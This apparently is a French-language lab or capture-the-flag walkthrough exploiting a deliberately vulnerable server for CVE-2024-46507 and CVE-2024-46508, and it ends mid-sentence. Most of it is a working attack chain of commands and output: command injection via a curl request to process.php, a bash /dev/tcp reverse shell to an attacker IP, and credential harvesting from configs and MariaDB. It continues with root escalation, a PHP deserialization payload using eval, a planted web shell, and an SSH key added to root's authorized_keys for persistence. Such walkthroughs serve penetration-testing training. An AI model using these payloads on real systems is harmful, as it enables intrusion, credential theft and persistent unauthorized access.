somchandra17/cve-2024-46507script de construction pour CVE-2024-46507 et CVE-2024-46508
Cette démonstration vous guide à travers l'exploitation du serveur vulnérable contenant les vulnérabilités CVE-2024-46507 (injection de commande) et CVE-2024-46508 (contournement d'authentification).
Tout d'abord, exportons notre adresse IP cible en tant que variable. Remplacez-la par votre adresse IP réelle :
export TARGET="192.168.65.129"
Commençons par identifier les services ouverts sur la cible :
# Scan rapide initial des ports courants
sudo nmap -sS -T4 $TARGET
# Scan complet des ports pour ne rien manquer
sudo nmap -sS -p- -T4 $TARGET
# Scan détaillé des ports découverts avec détection de version de service
sudo nmap -sV -sC -p22,80,9000 $TARGET -oN nmap_results.txt
Sortie attendue du scan détaillé :
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-03 19:00 EST
Nmap scan report for 192.168.65.129
Host is up (0.00042s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 a8:01:a0:e9:f8:75:ca:9a:4b:40:ad:32:4f:2e:e2:f0 (RSA)
| 256 40:d9:27:46:6e:20:4c:84:d8:4e:3d:5a:07:84:19:91 (ECDSA)
|_ 256 68:b9:1f:99:50:15:29:2f:be:da:93:1d:d9:03:da:18 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
9000/tcp open http SimpleHTTPServer 0.6 (Python 3.8.10)
|_http-title: Vulnerable Application
|_http-server-header: SimpleHTTP/0.6 Python/3.8.10
MAC Address: 00:0C:29:AD:B8:5D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explorons l'application web sur les ports découverts :
# Vérifier le port 80 (Apache)
firefox http://$TARGET/
# Vérifier le port 9000 (serveur SimpleHTTP Python)
firefox http://$TARGET:9000/
Les deux pointent vers le même contenu d'application. Découvrons-en plus sur la structure de l'application :
# Utiliser gobuster pour trouver les répertoires et fichiers
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html
Sortie attendue :
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.65.129
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 805]
/api (Status: 301) [Size: 0] [--> /api/]
Vérifions ce qu'il y a dans le répertoire API :
# Utiliser gobuster pour trouver les points de terminaison API
gobuster dir -u http://$TARGET:9000/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
Ou vous pouvez simplement l'ouvrir dans le navigateur.
Sortie attendue :
/process.php (Status: 200)
De notre reconnaissance, nous avons découvert le point de terminaison /api/process.php. L'interface web montre un formulaire qui envoie à ce point de terminaison avec un paramètre "command".
Testons l'injection de commande :
# Test avec une commande simple
curl "http://$TARGET:9000/api/process.php?command=id"
Sortie attendue :
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Succès ! L'application exécute nos commandes. Vérifions ce que nous pouvons d'autre accéder :
# Lister le contenu du répertoire
curl "http://$TARGET/api/process.php?command=ls+-la"
# Explorer le système
curl "http://$TARGET/api/process.php?command=cat+/etc/passwd"
Sortie :
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:106::/nonexistent:/usr/sbin/nologin syslog:x:104:110::/home/syslog:/usr/sbin/nologin _apt:x:105:65534::/nonexistent:/usr/sbin/nologin uuidd:x:106:112::/run/uuidd:/usr/sbin/nologin tcpdump:x:107:113::/nonexistent:/usr/sbin/nologin som:x:1000:1000:0xs0m,,,:/home/som:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin sshd:x:108:65534::/run/sshd:/usr/sbin/nologin mysql:x:109:118:MySQL Server,,,:/nonexistent:/bin/false
Maintenant, obtenons un shell inversé. D'abord, mettez en place un écouteur sur votre machine Kali :
# Démarrer un écouteur netcat
nc -lvnp 4444
Ensuite, envoyez une commande de shell inversé :
# Encoder l'URL de la charge utile du shell inversé
# Original : bash -c 'bash -i >& /dev/tcp/YOUR_KALI_IP/4444 0>&1'
# Remplacez YOUR_KALI_IP par l'adresse IP réelle de votre machine Kali
curl -G --data-urlencode "command=bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'" http://$TARGET/api/process.php
Vous devriez maintenant avoir un shell en tant qu'utilisateur www-data ! Améliorons-le pour un meilleur shell :
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Appuyez sur Ctrl+Z pour mettre le shell en arrière-plan
# Ensuite, dans votre terminal Kali :
stty raw -echo; fg
# Appuyez deux fois sur Entrée
Maintenant que nous avons un shell, vérifions les fichiers sensibles :
# Vérifier la configuration de l'application
cat /opt/vulnerable-app/config/app.conf
cat /opt/vulnerable-app/config/auth.conf
Nous découvrons des identifiants par défaut :
Vérifions les identifiants de la base de données :
# Rechercher les identifiants de la base de données
find /opt/vulnerable-app -type f -exec grep -l "password" {} \;
Cela devrait révéler les détails de connexion à la base de données. Accédons à la base de données :
# Se connecter à MariaDB
mysql -u vulnuser -p'password123' vulnapp
Une fois connecté, explorons la base de données :
-- Afficher les tables
SHOW TABLES;
-- Voir la table des utilisateurs
SELECT * FROM users;
Nous devrions trouver un utilisateur admin avec un mot de passe "supersecretpassword". Essayons de l'utiliser pour obtenir un accès root :
# Essayer de passer à root
su root
# Entrez le mot de passe : supersecretpassword
Si la méthode su ne fonctionne pas, vérifions d'autres vecteurs d'élévation de privilèges :
# Vérifier les permissions sudo
sudo -l
# Vérifier les binaires SUID
find / -perm -u=s -type f 2>/dev/null
# Vérifier les tâches cron
cat /etc/crontab
ls -la /etc/cron*
Une méthode supplémentaire est d'essayer l'accès SSH avec les identifiants découverts :
# Depuis votre machine Kali
ssh root@$TARGET
# Entrez le mot de passe : supersecretpassword
Une fois que nous avons un accès root, nous devrions trouver le drapeau :
# Rechercher les fichiers flag
find / -name "*.txt" 2>/dev/null | grep -v "proc"
# Lire le drapeau
cat /root/flag.txt
Sortie attendue :
f1a9d4c2b7e35680d2f1a9c3b7d45e80
L'application est également vulnérable aux attaques de désérialisation PHP. Créons un objet sérialisé malveillant :
<?php
// Enregistrer sous exploit.php sur votre machine Kali
class Exploit {
public $command = 'system("cat /root/flag.txt");';
public function __destruct() {
eval($this->command);
}
}
$exploit = new Exploit();
echo base64_encode(serialize($exploit));
?>
Générer la charge utile :
php exploit.php
Cela produira un objet sérialisé encodé en base64. Envoyons-le au serveur :
# Enregistrer la sortie de la commande précédente sous PAYLOAD
curl -X POST -d "data=PAYLOAD" http://$TARGET/api/process.php
Le serveur devrait exécuter notre code et afficher le drapeau.
Pour un ancrage plus permanent, nous pouvons créer un shell web :
# En tant qu'utilisateur www-data, créer un shell web PHP
echo '<?php system($_GET["cmd"]); ?>' > /opt/vulnerable-app/webroot/shell.php
# Accéder depuis Kali
curl "http://$TARGET/shell.php?cmd=id"
Nous pouvons également ajouter une clé SSH pour un accès root persistant :
# Sur Kali, générer une paire de clés SSH
ssh-keygen -t rsa -f vulnserver_key
# Sur la cible en tant que root, ajouter notre clé publique
mkdir -p /root/.ssh
echo "YOUR_PUBLIC_KEY_HERE" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
# Ensuite se connecter depuis Kali
ssh -i vulnserver_key root@$TARGET
Ce serveur était vulnérable à deux problèmes principaux :
CVE-2024-46507 : Vulnérabilité d'injection de commande dans le point de terminaison API process.php qui nous a permis d'exécuter des commandes arbitraires.
CVE-2024-46508 : Contournement d'authentification et élévation de privilèges en raison de :